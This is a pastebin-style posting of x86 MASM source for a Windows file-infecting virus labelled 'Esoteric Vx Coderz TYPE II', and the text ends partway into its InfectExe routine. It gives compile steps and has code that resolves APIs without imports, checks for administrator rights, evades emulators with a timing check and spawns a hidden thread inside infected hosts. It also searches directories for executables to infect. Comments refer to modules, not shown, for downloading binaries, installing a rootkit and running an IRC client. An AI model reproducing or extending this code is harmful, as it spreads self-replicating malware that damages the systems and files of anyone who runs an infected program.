· 8 years ago · Dec 06, 2017, 12:46 AM
1;==============================================================================;
2; ___ ___ ___ ___ ___ ___ ;
3; /\ \ /\__\ /\ \ /\ \ /\ \ /\ \ ;
4; \:\ \ |::L__L /::\ \ /::\ \ _\:\ \ _\:\ \ ;
5; /::\__\ |:::\__\ /::\:\__\ /::\:\__\ /\/::\__\ /\/::\__\ ;
6; /:/\/__/ /:;;/__/ \/\::/ / \:\:\/ / \::/\/__/ \::/\/__/ ;
7; \/__/ \/__/ \/__/ \:\/ / \:\__\ \:\__\ ;
8; \/__/ \/__/ \/__/ ;
9
10
11
12
13; ;
14; Esoteric Vx Coderz TYPE II ;
15; ;
16; Autonomous Mobile Sword ;
17; ;
18; pulse ;
19; ;
20; ;
21; To compile TYPE II: ;
22; ;
23; ml /c /coff /Cp shellcode.asm ;
24; link /SUBSYSTEM:WINDOWS /lIBPATH:C:\masm32\lib shellcode.obj ;
25; ;
26; ;
27; ;xxx; ;
28; ;
29; ;
30;==============================================================================;
31; TODO:
32; [*] The delta trick will not work in _InfectExe if the shellcode passes
33; 0xfff address length.
34; [*] Fix segment alignment issue: Shellcodes over 0x00001000b in size will
35; corrupt the PE file.
36; [*] No .NET Support (mscoree)
37; [*] No Packer Support (all binaries with no .text segment are invalid
38; [*] CreateFullPath is obsolete
39; [*] Infect GUI/Console subsystems
40; [*] Program crashes on a file named "a"
41;
42;==============================================================================;
43
44
45 ;xxx;
46
47
48; Return Values ;==============================================================;
49;===============; ;
50; ;
51; return value per target file stored in eax ;
52; Infection routine returns this value upon processing each potential exe ;
53; ;
54; 0x00000001 SUCCESS ;
55; 0xFEFEFEFE 0xFFEE SIGNATURE DETECTED ;
56; 0xFFFFAAAA PACKED OR NON-SUITABLE EXECUTABLE ;
57; 0xABABABAB FILE EXECUTABLE, BUT INVALID PE ;
58; 0x0000FFFF CANNOT OPEN FILE ;
59; 0xCCCCCCCC .NET EXECUTABLE ;
60; 0x00000000 FAILED TO WRITE FILE ;
61; 0xDDDDDDDD NO IAT IN EXECUTABLE ;
62; -> Host will error out like this ;
63; 0x50005000 .NET JUMP SEQUENCE MANGLED ;
64; 0xAAAAAAAA INVALID BINARY SUBSYSTEM (!= 0x0009) ;
65; ;
66;==============================================================================;
67
68
69 ;xxx;
70
71
72; Configurations ;=============================================================;
73;================; ;
74; ;
75
76INFECTOR_PAUSE_ROUTINE equ int 3 ; Break after each infection attempt?
77
78;==============================================================================;
79
80
81 ;xxx;
82
83
84; Assembler Directives ;=======================================================;
85;======================; ;
86; ;
87 .686 ;
88 .model flat,stdcall ;
89 option casemap:none ;
90 assume fs:nothing ;
91; ;
92;==============================================================================;
93
94
95 ;xxx;
96
97
98; API + Libraries ;============================================================;
99;=================; ;
100; ;
101 include C:\masm32\include\windows.inc ;
102 include C:\masm32\include\kernel32.inc ;
103 include C:\masm32\include\wsock32.inc ;
104 include C:\masm32\macros\ucmacros.asm ;
105 includelib C:\masm32\lib\kernel32.lib ;
106 includelib C:\masm32\lib\user32.lib ;
107 includelib C:\masm32\lib\wsock32.lib ;
108; ;
109;==============================================================================;
110
111
112 ;xxx;
113
114
115; Start Shellcode ;============================================================;
116;=================; ;
117; ;
118 .code ;
119; ;
120;==============================================================================;
121
122
123 ;xxx;
124
125
126; Data ;=======================================================================;
127;======; ;
128; ;
129; [Variable Name] [String] [Size] [Offset] ;
130;==============================================================================;
131 sGetProcAddr db "GetProcAddress",0 ; 15 +0 (dec)
132 sGetCurrDir db "GetCurrentDirectoryA",0 ; 20 +15
133 sFindFirstFile db "FindFirstFileA",0 ; 15 +36
134 sFindNextFile db "FindNextFileA",0 ; 14 +51
135 sVirtualAlloc db "VirtualAlloc",0 ; 13 +65
136 sVirtualFree db "VirtualFree",0 ; 12 +78
137 sCreateFile db "CreateFileA",0 ; 12 +90
138 sOpenFile db "OpenFile",0 ; 9 +102
139 sGetFileSize db "GetFileSize",0 ; 12 +111
140 sReadFile db "ReadFile",0 ; 9 +123
141 sCloseHandle db "CloseHandle",0 ; 12 +132
142 sWriteFile db "WriteFile",0 ; 9 +144
143 ;sLoadLibrary db "LoadLibraryA",0 ; 13 +150 (error)
144 ;sCreateProcess db "CreateProcessA",0
145 pad2 db 13 DUP (0) ;+154
146 sGetModuleHandle db "GetModuleHandleA",0 ; 18 +167
147 sCreateThread db "CreateThread",0 ; 13 +184
148 sSleep db "Sleep",0 ; 6 +197
149 sCreateWKSID db "CreateWellKnownSid",0
150 sChkTknMem db "CheckTokenMembership",0
151 sOpenEvent db "OpenEventA",0 ;+243
152 dByteCopy db "Global\ByteCopyEvent",0 ;+254
153 dIpack db "C:\WINDOWS\ipack.loc",0 ;+275
154 ; winsock/WSA Functions
155 sWSAStartup db "WSAStartup",0 ;+296
156 sclosesocket db "closesocket",0 ;+307 ;12
157 sconnect db "connect",0 ;+319
158 sgethostbyname db "gethostbyname",0 ;+327
159 shtons db "htons",0 ;+341
160 srecv db "recv",0 ;+347
161 sselect db "select",0 ;+352
162 ssend db "send",0 ;+359
163 ssocket db "socket",0 ;+364
164
165 sLoadLibraryExA db "LoadLibraryExA",0 ;+371
166 dws2_32 db "ws2_32.dll",0 ;+386
167 sProgFiles db "C:\Program Files",0 ;+397
168 ;sProgFiles db "Z:\Second Variety"
169 ; NULL Padding
170 sGetDriveType db "GetDriveTypeA",0
171 sioctlsocket db "ioctlsocket",0
172 sCreateProcess db "CreateProcessA",0
173 ;sCreateProcess db "CreatePipe",0
174 sTerminateProcess db "TerminateProcess",0
175 smalloc db "malloc",0
176 smsvcrt db "msvcrt",0
177 pad0 db 21 DUP (0) ; 132 +195
178; ; Total: 323 Bytes
179;==============================================================================;
180
181
182 ;xxx;
183
184
185; Type II Code ;===============================================================;
186;==============; (stack layout) ;
187; ;
188; [Variable Name] [ebp offset] ;
189;==============================================================================;
190delta_offset equ [ebp - 4] ;
191kernel32_image_base equ [ebp - 8] ;
192f_getprocaddress equ [ebp - 12] ;
193f_loadlibrarya equ [ebp - 16] ;
194f_getcurrentdirectorya equ [ebp - 20] ;
195f_findfirstfilea equ [ebp - 24] ;
196f_findnextfilea equ [ebp - 28] ;
197f_virtualalloc equ [ebp - 32] ;
198f_virtualfree equ [ebp - 36] ;
199f_createfilea equ [ebp - 40] ;
200;f_openfile equ [ebp - 44] ;
201f_terminateprocess equ [ebp - 44] ;
202f_getfilesize equ [ebp - 48] ;
203f_readfile equ [ebp - 52] ;
204f_closehandle equ [ebp - 56] ;
205f_writefile equ [ebp - 60] ;
206f_getmodulehandle equ [ebp - 64] ;
207image_base_address equ [ebp - 68] ;
208shellcode_base_address equ [ebp - 72] ;
209shellcode_byte_zero equ [ebp - 76] ;
210f_createthread equ [ebp - 80] ;
211f_sleep equ [ebp - 84] ;
212caller_host_return_addr equ [ebp - 88] ;
213shellcode_poly_pool equ [ebp - 92] ;
214; ;
215; Check for Admin Rights Functions ;
216f_createwellknownsid equ [ebp - 96] ;
217f_checktokenmembership equ [ebp - 100] ;
218f_openevent equ [ebp - 104] ;
219; ;
220; winsock/WSA Functions Pointers ;
221f_wsastartup equ [ebp - 108] ;
222f_closesocket equ [ebp - 112] ;
223f_connect equ [ebp - 116] ;
224f_gethostbyname equ [ebp - 120] ;
225f_htons equ [ebp - 124] ;
226f_recv equ [ebp - 128] ;
227f_select equ [ebp - 132] ;
228f_send equ [ebp - 136] ;
229f_socket equ [ebp - 140] ;
230h_ws2_32 equ [ebp - 144] ;
231; ;
232;f_atoi equ [ebp - 148] ;
233f_createprocess equ [ebp - 148] ;
234f_getdrivetype equ [ebp - 152] ;
235f_ioctlsocket equ [ebp - 156] ;
236;f_createprocess equ [ebp - 160] ;
237network_fails equ [ebp - 164] ;
238f_malloc equ [ebp - 168] ;
239; ;
240;==============================================================================;
241
242
243 ;xxx;
244
245
246; Aliases ;====================================================================;
247;=========; ;
248; ;
249; [Alias] [Value] ;
250;==============================================================================;
251; ;
252initial_stack_size equ 256 ; Size of the stack
253sleep_before_exec_thread equ 2000 ; Miliseconds to sleep before calling exec thread
254data_length_pool equ 1fbh ;1d3 ; Length of function strings at shellcode zero byte
255sleep_before_host_return equ 100 ; Length of time to host return
256; ;
257;==============================================================================;
258
259
260 ;xxx;
261
262
263; Infected host will pass caller EIP through ECX register ;====================;
264; PAYLOAD CODE BELOW
265; => [EJCE][Phase 1 Dropper][Phase 2 Dropper][Payload]
266; => Host binary begins execution at this routine!
267start:
268 nop
269 call _Delta
270_Delta:
271 pop edx
272 mov edi, edx ; Save Address in edi
273 sub edx, OFFSET _Delta
274 mov eax, 1218ffaeh ; Place holder for host OEP
275 mov esi, [esp] ; K32
276 and esi, 0ffff0000h
277 push eax
278 push ebp
279 mov ebp, esp
280 push edx ; ebp - 4: Delta Offset
281 sub esp, initial_stack_size
282
283 ; *** Reroute these procedures for debug ***
284 ;call DETERINTRO
285 ;call AVMLIDT
286
287 ; Save caller address to stack, if exists
288 mov caller_host_return_addr, ecx
289
290 ; Save Shellcode Base Address
291 sub edi, 6h
292 mov shellcode_byte_zero, edi
293 sub edi, data_length_pool ; Should be Shellcode Zero Byte
294 mov shellcode_base_address, edi
295 mov eax, [edi]
296 cmp DWORD PTR eax, 050746547h
297 je _ShellcodeOK
298 ; Else, break. Indicates binary corruption, this should never occur, unless
299 ; the code was tampered with (aka debugger instructions detected). (panic returns -1)
300 xor eax, eax
301 dec eax
302 int 3
303
304_ShellcodeOK:
305
306 ; Find Kernel32 Base Address
307 nop
308 call FindKern32
309 mov kernel32_image_base, eax ; ebp - 8: Kernel32 Base
310
311 ; Find GetProcAddress
312 ; eax = GetProcAddress
313 mov eax, kernel32_image_base ; Pass k32 base as parameter (eax)
314 mov esi, shellcode_base_address ; Shellcode Base
315 xor edi, edi
316 inc edi
317 call ResolveAPI
318 mov f_getprocaddress, eax ; Commit
319
320 ; Find LoadLibraryA
321 ; eax = LoadLibraryA
322 mov eax, kernel32_image_base ; Pass k32 base as parameter (eax)
323 mov esi, shellcode_base_address ; Shellcode Base
324 xor edi, edi
325 push shellcode_base_address
326 call ResolveAPI
327 mov f_loadlibrarya, eax ; Commit
328 pop eax
329
330 ; RESOLVE API ;
331 mov esi, shellcode_base_address ; Shellcode Base
332 call ResolveKernel32Exports
333
334 ; Find Module Base Address
335 mov eax, f_getmodulehandle ; GetModuleHandle
336 push 0 ; NULL
337 call eax
338 mov image_base_address, eax ; Commit
339 push eax
340
341 ; *** DEBUG Reroute DEBUG ***
342 ;je PayloadEntry
343 ;lea eax, f_wsastartup
344 ;call NetworkEntry
345 ;mov esi, shellcode_base_address
346 ;add esi, 397
347 ;call SeekIntro
348 ; *** *** *** *** ***
349 ; DEBUG - Testing SPM
350 mov eax, f_virtualalloc
351 nop
352 mov esi, edi
353 mov esi, OFFSET SPMTest
354 call SPMEntry
355
356 ; Am I Host?
357 ; If this is the host program, do not pass control to payload
358 ; Attempt directory enumeration
359 mov ebx, image_base_address ; MZ Header
360 xor ecx, ecx
361 mov WORD PTR cx, [ebx + 0eh] ; 0xffee?
362 cmp WORD PTR cx, 0ffeeh
363 jne _StartEnum
364
365 ; Is this the Executive Thread?
366 mov eax, shellcode_base_address
367 dec eax
368 cmp BYTE PTR [eax], 1
369 je _StartExecThread
370
371 ; Set Executive Thread
372 nop
373 mov eax, shellcode_base_address
374 dec eax
375 mov BYTE PTR [eax], 1 ; Signal the next phase
376
377 ; Anti-emulation - run this before creating new thread
378 nop
379 push ecx
380 rdtsc
381 mov ecx, eax
382 rdtsc
383 sbb eax, ecx
384 cmp DWORD PTR eax, 32
385 pop ecx
386 ja _HostRet
387
388 ; Create Executive Thread
389 nop
390 mov edi, shellcode_base_address
391 add edi, data_length_pool
392
393 push 0 ; lpThreadId
394 push 0 ; dwCreationFlags
395 push 0 ; lpParameter
396 push edi ; lpStartAddress
397 push 0 ; dwStackSize
398 push 0 ; lpThreadAttributes
399 mov eax, f_createthread ; CreateThread()
400
401 ; /!\ Executive Thread Started!!!! /!\ ;
402 call eax
403 ; /!\ Executive Thread Started!!!! /!\ ;
404
405 ; Move Caller EIP to eax
406 nop
407 mov DWORD PTR eax, caller_host_return_addr
408
409 ; Load Original Call Operand to ebx
410 mov ebx, image_base_address
411 assume ebx:ptr IMAGE_DOS_HEADER
412 lea edx, [ebx].e_ip
413 mov ebx, [edx]
414 assume ebx:nothing
415
416 nop ; stop if this is not the host program
417
418 ; Compute Correct address offset
419 add eax, ebx
420
421 ; Sleep n ms before returning to host
422 nop
423 push eax
424 mov eax, f_sleep
425 push sleep_before_host_return
426 call eax
427 pop eax
428
429 ; Uninitialize Stack and return to host
430_HostRet:
431 add esp, initial_stack_size + 16
432 mov ebx, caller_host_return_addr ; Caller return
433 push ebx
434 nop
435 jmp eax ; Return to host function
436
437 ; There should be absolutely no reason for this to happen
438 int 3
439
440 ;==========================================================================;
441
442 ; Directory Enumeration For Original File ;================================;
443_StartEnum:
444 pop eax
445
446
447 ;int 3
448 ;call NetworkEntry
449
450 ; Start Client (DEBUG)
451 ;call CLIENT_INTRO
452 ; DEBUG
453 ;pop eax
454 ;jmp _PayloadMainRoutine
455
456 ;xor esi, esi ; Search Current Directory
457 ;call SeekIntro
458 ;call PAYLOAD_SCAN_USB
459 call PAYLOAD_ENUM_LOCAL_DIR
460 nop
461 add esp, initial_stack_size + 8
462 pop ebp
463 ret ; Return to host OEP
464
465 ; Host shellcode executive thread ;========================================;
466 ; Primary thread will return to normal execution, while the NEW shellcode
467 ; thread begins here.
468_StartExecThread:
469 ;int 3
470 pop eax
471
472 ; Exec Thread sleeps for n seconds (sleep_before_exec_thread)
473 mov eax, f_sleep ; Sleep()
474 push sleep_before_exec_thread
475 call eax
476
477 ; Debug
478 ;nop
479 ;jmp _PayloadDebug
480
481_PayloadMainRoutine:
482 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
483 ; BEGIN EXECUTION OF PRIMARY PAYLOAD ;
484 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
485 pop eax
486 ;int 3
487 ; Check Host Rights
488 call DetectHostRights
489 cmp eax, 1
490 jne _ExecThreadSleep
491 ; Run payload
492 call InstallPayload
493 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
494 ; PAYLOAD END - everything below this is DEBUG code ;
495 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
496
497_PayloadDebug:
498 ; IRC Client
499 ;int 3
500 ;call CLIENT_INTRO
501
502 ; Scan for USB Devices
503 ;call PAYLOAD_SCAN_USB
504
505 ; Start Directory Enumeration
506 call PAYLOAD_ENUM_LOCAL_DIR
507
508 ; Enum Program Flies
509 ;call PAYLOAD_ENUM_PF
510
511 ; Debug
512 ;nop
513 ;jmp _ExecThreadSleep
514
515 ; Check if the host program has UAC elevated rights
516 ; If so, pass control to payload.asm
517 ;call DetectHostRights
518 ;cmp eax, 1
519
520 ; Check if the kit is already running
521 ;call PAYLOAD_CHECK_KIT
522 ;cmp eax, 0
523 ;jne _ExecThreadSleep ; rootkit already installed
524
525 ; Is there an ipack installed?
526 ;call PAYLOAD_CHECK_IPACK
527 ;cmp eax, 0
528 ;jne _ExecThreadSleep
529
530 ; If there is no ipack, run the network payload
531 ;call NetworkEntry
532
533 ; After subhost completes procedures, sleep forever
534_ExecThreadSleep:
535 mov eax, f_sleep
536 push 0ffffffffh
537 call eax
538
539 ;add esp, initial_stack_size + 8
540 ;pop ebp
541 ;ret
542 ; Throw exception, execution should never get to this point anyway
543 int 3
544
545;==============================================================================;
546
547
548 ;xxx;
549
550
551; Detect UAC Elevated Host ;===================================================;
552;==========================; ;
553; ;
554;==============================================================================;
555DetectHostRights:
556 ; Stack Layout
557 ; BOOL fIsAdmin = FALSE; [esp + 76]
558 ; HANDLE hTokenToCheck = NULL; [esp + 72]
559 ; DWORD sidLen = SECURITY_MAX_SID_SIZE; [68 bytes] [esp + 68]
560 ; BYTE localAdminsGroupSid = SECURITY_MAX_SID_SIZE [esp]
561 nop
562
563 ; Test if this is Win7 or not
564 mov eax, f_createwellknownsid
565 test al, al
566 jne DHR
567 xor eax, eax
568 inc eax
569 ret
570
571 ; CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, localAdminsGroupSid, &sidLen);
572DHR:
573 sub esp, 128
574 mov DWORD PTR [esp + 68], 68
575 lea eax, [esp + 68]
576 push eax ; sidLen
577 lea eax, [esp + 4] ; localAdminsGroupSid
578 push eax
579 push 0 ; NULL
580 push 26
581 mov eax, f_createwellknownsid
582 call eax
583
584 ;BOOL WINAPI CheckTokenMembership(
585 ;__in_opt HANDLE TokenHandle,
586 ;__in PSID SidToCheck,
587 ;__out PBOOL IsMember
588 ;);
589 lea eax, [esp + 76]
590 lea ebx, [esp]
591 lea ecx, [esp + 72]
592 push eax
593 push ebx
594 push 0
595 mov eax, f_checktokenmembership
596 call eax
597 mov eax, [esp + 76]
598 add esp, 128
599 ret
600 nop
601 nop
602 nop
603 nop
604 nop
605
606;==============================================================================;
607
608
609 ;xxx;
610
611
612; Find Kernel32 Base Address ;=================================================;
613;============================; ;
614; ;
615;==============================================================================;
616FindKern32:
617 mov DWORD PTR eax, fs:[30h]
618 mov eax, [eax + 0ch]
619 mov eax, [eax + 1ch]
620 mov eax, [eax]
621 mov eax, [eax + 08h]
622 ret
623
624; Unused
625FindKern32Old:
626@ScanK32:
627 cmp WORD PTR [esi], "ZM"
628 je @@FoundKernel32
629 sub esi, 1000h
630 jmp @ScanK32
631@@FoundKernel32:
632 mov eax, esi
633 ret
634;==============================================================================;
635
636
637 ;xxx;
638
639
640; Resolve API/Functions ;======================================================;
641;=======================; ;
642; ;
643; [*] Pass PE header of kernel32.dll image in memory through eax register ;
644; [*] ResolveAPI walks Export Address Table of kernel32.dll for GetProcAddress ;
645; [*] Entry point of GetProcAddress returned through eax register ;
646; [*] ResolveKernel32Exports resolves each required function and stores the ;
647; entry points on the stack ;
648; ;
649;==============================================================================;
650; ;
651 include api.asm ;
652; ;
653;==============================================================================;
654
655
656 ;xxx;
657
658
659; Network ;====================================================================;
660;=========; ;
661; ;
662; [*] NetworkEntry is passed function pointer table address in eax ;
663; [*] Download a list of suitable host servers ;
664; [*] Download binary from host server ;
665; [*] Install Rootkit ;
666; ;
667;==============================================================================;
668; ;
669 include network.asm ;
670; ;
671;==============================================================================;
672
673
674 ;xxx;
675
676
677; IRC Client ;=================================================================;
678;============; ;
679; ;
680; ;
681; ;
682;==============================================================================;
683; ;
684 include client.asm ;
685; ;
686;==============================================================================;
687
688
689 ;xxx;
690
691
692; Enumerate Directories ;======================================================;
693;=======================; ;
694; ;
695; [*] Begin resident directory enumeration for PE binary ;
696; [*] Once viable victim is found, invoke InfectExe ;
697; [*] Exit after enumeration ;
698; ;
699;==============================================================================;
700; ;
701 include seek.asm ;
702; ;
703;==============================================================================;
704
705
706 ;xxx;
707
708
709; Support Functions ;==========================================================;
710;===================; [f] FreeMemory [eax = IN address of pool] ;
711;+ +; [f] AllocateMemory [eax = OUT address of pool] ;
712; ; [ebx = IN size of pool] ;
713; ; [f] strcmp [esi = IN source] ;
714; ; [edi = IN destination] ;
715; ; [ecx = IN bytes to compare] ;
716; ; [f] ZeroBytes [edi = IN pointer to data] ;
717; ; [ecx = IN bytes to zero] ;
718; ; [f] ByteCopy [esi = IN source] ;
719; ; [edi = IN destination] ;
720;+ +; [ecx = IN bytes to copy] ;
721;==============================================================================;
722; ;
723 include shared.asm ;
724; ;
725;==============================================================================;
726
727
728 ;xxx;
729
730
731; Read/Write Source ;==========================================================;
732;===================; [f] WriteExe [eax = path; ebx = size; esi = source pool] ; ;
733; [f] OpenExe [edi = filename] ;
734; ;
735;==============================================================================;
736; ;
737 include read_write.asm ;
738; ;
739;==============================================================================;
740
741
742 ;xxx;
743
744
745; Create full path from edi and esi ;==========================================;
746;===================================; ;
747; ;
748; edi = file name; esi = path; [ret][path][fname][newpool] ;
749; ;
750;==============================================================================;
751CreateFullPath:
752 nop
753 mov ebx, 512 ; Allocate 512 bytes for target absolute path
754 call AllocateMemory ; eax == new pool
755 push esi
756 push edi
757 push eax
758
759 xchg eax, edi
760 mov ecx, 512
761 rep movsb ; esi = path; edi = new pool; ecx = SIZEOF newpool (could overflow)
762 mov esi, [esp]
763_FindPathNull:
764 xchg edi, esi
765 sub ecx, ecx
766 sub al, al
767 not ecx
768 cld
769 repne scasb
770 not ecx
771 dec ecx ; ecx = path NULL without trailing char
772_ZeroTrailChars:
773 sub edi, 4
774 mov DWORD PTR [edi], 0
775_ConcatStrings:
776 mov esi, [esp + 4]
777 mov ecx, 100
778 rep movsb ; concatenate
779
780 mov eax, [esp]
781 add esp, 12
782 ret
783;==============================================================================;
784
785
786 ;xxx;
787
788
789; Replicate ;==================================================================;
790;===========; ;
791; ;
792; eax == Shellcode Zero Byte ;
793; ;
794;==============================================================================;
795_CopyShellcodeToPool:
796 nop
797 xor ecx, ecx
798 dec ecx
799 mov edx, eax ; edx == Byte Zero
800 xor eax, eax
801 xor ebx, ebx
802@@GetShellcodeSize:
803 inc ecx
804 mov BYTE PTR al, [edx + ecx]
805 cmp BYTE PTR al, 4ch ; "L"
806 jne @@GetShellcodeSize
807 mov BYTE PTR al, [edx + ecx + 1]
808 cmp BYTE PTR al, 41h ; "A"
809 jne @@GetShellcodeSize
810 mov BYTE PTR al, [edx + ecx + 3]
811 cmp BYTE PTR al, 45h ; "E"
812 jne @@GetShellcodeSize
813 add ecx, 4 ; ecx == Last Byte
814
815 mov ebx, ecx
816 push ecx
817 push edx
818 call AllocateMemory
819 mov edi, eax ; edi == Destination Pool
820 pop esi ; edx == Shellcode Size
821 pop edx ; esi == Shellcode Source
822
823 xor ecx, ecx
824 xor eax, eax
825@@CopyShellcodeLoop:
826 mov BYTE PTR al, [esi + ecx]
827 mov BYTE PTR [edi + ecx], al
828 inc ecx
829 cmp ecx, edx
830 jne @@CopyShellcodeLoop
831
832 mov eax, esi
833 inc ecx
834 ret
835;==============================================================================;
836
837
838 ;xxx;
839
840
841; Detect .NET Binary ;=========================================================;
842;====================; ;
843; eax = RAW Image Zero Byte "MZ" ;
844; ebx = RAW Last IMAGE_SECTION_HEADER (executable) ;
845; ;
846; RETURN: ;
847; eax = 1 (.NET) ;
848; eax = 0 (PE) ;
849; ;
850;==============================================================================;
851; ;
852; STACK LAYOUT: ;
853; ;
854DDN_RAW_IMAGE_ZERO_BYTE equ DWORD PTR [ebp - 4] ;
855DDN_RAW_PE_HEADER equ DWORD PTR [ebp - 8] ;
856DDN_NUMBER_OF_SECTIONS equ DWORD PTR [ebp - 12] ;
857DDN_IAT_VA equ DWORD PTR [ebp - 16] ;
858;==============================================================================;
859DetectDotNetBinary:
860 push ebp
861 mov ebp, esp ; Setup stack frame
862 sub esp, 128 ; Reserve 128 bytes space on stack
863
864 mov DWORD PTR DDN_RAW_IMAGE_ZERO_BYTE, eax ; Save eax register
865
866 ; Locate PE Header
867 mov ebx, eax
868 assume ebx:ptr IMAGE_DOS_HEADER
869 mov eax, [ebx].e_lfanew ; RAW Offset to MZ Header
870 assume ebx:nothing
871 add ebx, eax ; Offset ebx to MZ
872 mov DDN_RAW_PE_HEADER, ebx ; Commit to stack
873
874 nop
875 lea eax, [ebx + 080h]
876 mov DWORD PTR eax, [eax]
877 cmp DWORD PTR eax, 0
878 je _DDNBNOIAT
879 mov DWORD PTR DDN_IAT_VA, eax ; Commit
880
881 ; Locate IAT section, store pointer in ebx
882 assume ebx:ptr IMAGE_NT_HEADERS
883 mov DWORD PTR eax, [ebx].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
884 ;assume ebx:nothing
885 cmp DWORD PTR eax, 0
886 je _DDNBNOIAT
887
888 mov DWORD PTR ebx, DDN_RAW_PE_HEADER
889 push ebx
890 lea eax, [ebx + 06h] ; Number Of Sections
891 mov WORD PTR ax, [eax]
892 and eax, 0000ffffh
893 mov DWORD PTR DDN_NUMBER_OF_SECTIONS, eax
894 pop ebx
895 assume ebx:nothing
896 add ebx, 0f8h
897
898 assume ebx:ptr IMAGE_SECTION_HEADER
899 mov edx, eax
900 xor ecx, ecx
901 dec ecx
902 sub ebx, SIZEOF IMAGE_SECTION_HEADER
903 nop
904@DDNBLocateIATSegment:
905 add ebx, SIZEOF IMAGE_SECTION_HEADER
906 inc ecx
907 mov DWORD PTR eax, DDN_IAT_VA
908 sbb eax, [ebx].VirtualAddress
909 cmp DWORD PTR eax, [ebx].SizeOfRawData
910 jng DDNBLoadFirstImport
911 cmp ecx, DDN_NUMBER_OF_SECTIONS
912 jg _DDNBNOIAT
913 jmp @DDNBLocateIATSegment
914 assume ebx:nothing
915
916 ; Move to IAT
917 ; x = (DWORD)((nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - section_header->VirtualAddress)
918 ;+ section_header->Misc.PhysicalAddress);
919 ;int 3
920 ;assume ebx:ptr IMAGE_NT_HEADERS
921 ;mov eax, [ebx].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
922 ;assume ebx:nothing
923 ;cmp DWORD PTR eax, 0 ; Is there an IAT?, if not, do not infect
924 ;je _DDNBNOIAT
925 ;mov ebx, DDN_RAW_PE_HEADER
926 ;add ebx, 0f8h ; First IMAGE_SECTION_HEADER
927
928 ;assume ebx:ptr IMAGE_SECTION_HEADER
929 ;mov edx, eax
930 ;sub ebx, SIZEOF IMAGE_SECTION_HEADER
931 ;; edx = IAT RVA, ebx = Absolute Section Address
932;@DDNBLocateIATSegment:
933 ;add ebx, SIZEOF IMAGE_SECTION_HEADER
934 ;mov DWORD PTR eax, [ebx].VirtualAddress
935 ;cmp DWORD PTR edx, eax
936 ;jng @DDNBLocateIATSegment
937 ;add DWORD PTR eax, [ebx].SizeOfRawData
938 ;cmp DWORD PTR edx, eax
939 ;jg @DDNBLocateIATSegment
940
941 ; ebx = IAT Section, edx = IAT RVA
942 ; Locate RAW IAT Address
943DDNBLoadFirstImport:
944 nop
945 assume ebx:ptr IMAGE_SECTION_HEADER
946 mov DWORD PTR eax, [ebx].VirtualAddress
947 mov edx, DDN_IAT_VA
948 sub edx, eax
949 add edx, [ebx].PointerToRawData
950 add edx, DDN_RAW_IMAGE_ZERO_BYTE
951
952 ; edx = IAT BYTE ZERO (ABSOLUTE)
953 ; Load Name of first DLL
954 nop
955 mov DWORD PTR eax, [edx + 0ch]
956 sub eax, [ebx].VirtualAddress
957 add eax, [ebx].PointerToRawData
958 add eax, DDN_RAW_IMAGE_ZERO_BYTE
959
960 ; eax = first DLL Name
961 nop
962 assume ebx:nothing
963 mov ebx, eax
964 mov DWORD PTR eax, [ebx]
965 cmp DWORD PTR eax, 06f63736dh
966 jne _DDNBFALSE
967 add ebx, 4
968 mov DWORD PTR eax, [ebx]
969 cmp DWORD PTR eax, 02e656572h
970 jne _DDNBFALSE
971
972_DDNBTRUE:
973 xor eax, eax
974 inc eax
975
976_DDNBExit:
977 add esp, 128 ; Uninitialize stack
978 pop ebp
979 ret
980
981_DDNBFALSE:
982 xor eax, eax
983 jmp _DDNBExit
984
985_DDNBNOIAT:
986 xor eax, eax
987 add eax, 2
988 jmp _DDNBExit
989
990;==============================================================================;
991
992
993 ;xxx;
994
995
996; Generate Log File ;==========================================================;
997;===================; ;
998; ;
999;==============================================================================;
1000; eax = error code, ebx = target file name ;
1001GenLog:
1002 pusha
1003 sub esp, 128
1004 nop
1005 push eax
1006 push ebx
1007
1008 ; Set string
1009 ; Allocate Memory For Current Directory
1010 mov ebx, 512
1011 call AllocateMemory
1012 push eax
1013 push eax
1014 push 512
1015 mov eax, f_getcurrentdirectorya
1016 call eax
1017 pop edi
1018 push edi
1019 ; Append file name
1020 xor ecx, ecx
1021 push ecx
1022 pop eax
1023 dec ecx
1024 repne scasb
1025 dec edi
1026 mov WORD PTR [edi], 07a5ch
1027
1028 ; Open Log File
1029 push 0
1030 push 80h
1031 push 3
1032 push 0
1033 push 1
1034 mov eax, 80000000h
1035 or eax, 00000004h
1036 push eax
1037 and edi, 0ffff000h
1038 push edi
1039 mov eax, f_createfilea
1040 call eax
1041
1042 ; Handle Stored in eax
1043 int 3
1044 push eax
1045 mov eax, [esp + 4]
1046 call FreeMemory
1047
1048 ; Save handle
1049 pop eax ; file handle
1050 add esp, 4
1051 push eax
1052
1053 ; Allocate memory for append pool
1054 mov ebx, 1024
1055 call AllocateMemory
1056 push eax
1057
1058 ; Add entry to pool
1059 nop
1060 ; add return code
1061 mov eax, [esp + 12]
1062 pop edi
1063 push edi
1064 mov DWORD PTR [edi], eax
1065 ; add file string
1066 mov edi, [esp + 8]
1067 xor ecx, ecx
1068 push ecx
1069 pop eax
1070 dec ecx
1071 repne scasb
1072 xor ecx, 0ffffffffh
1073 mov ebx, ecx
1074 nop
1075 mov esi, [esp + 8]
1076 mov edi, [esp]
1077 lea edi, [edi + 4]
1078 mov DWORD PTR [edi], 020202020h
1079 lea edi, [edi + 4]
1080 rep movsb
1081
1082 ; Write File
1083 int 3
1084 push ebx
1085 lea ebx, [esp]
1086 push 0
1087 push 0
1088 push ebx
1089 and edi, 0ffff0000h
1090 push edi
1091 mov eax, [esp + 24]
1092 push eax
1093 mov eax, f_writefile
1094 call eax
1095
1096
1097
1098 add esp, 128
1099 popa
1100 ret
1101
1102
1103 ;xxx;
1104
1105
1106; Infect PE File ;=============================================================;
1107;================; ;
1108; ;
1109;==============================================================================;
1110; eax == address of absolute file name ;
1111InfectExe: ;[return ] 28
1112 ;[shellc size] 24
1113 ;[shellc pool] 20 (pool)
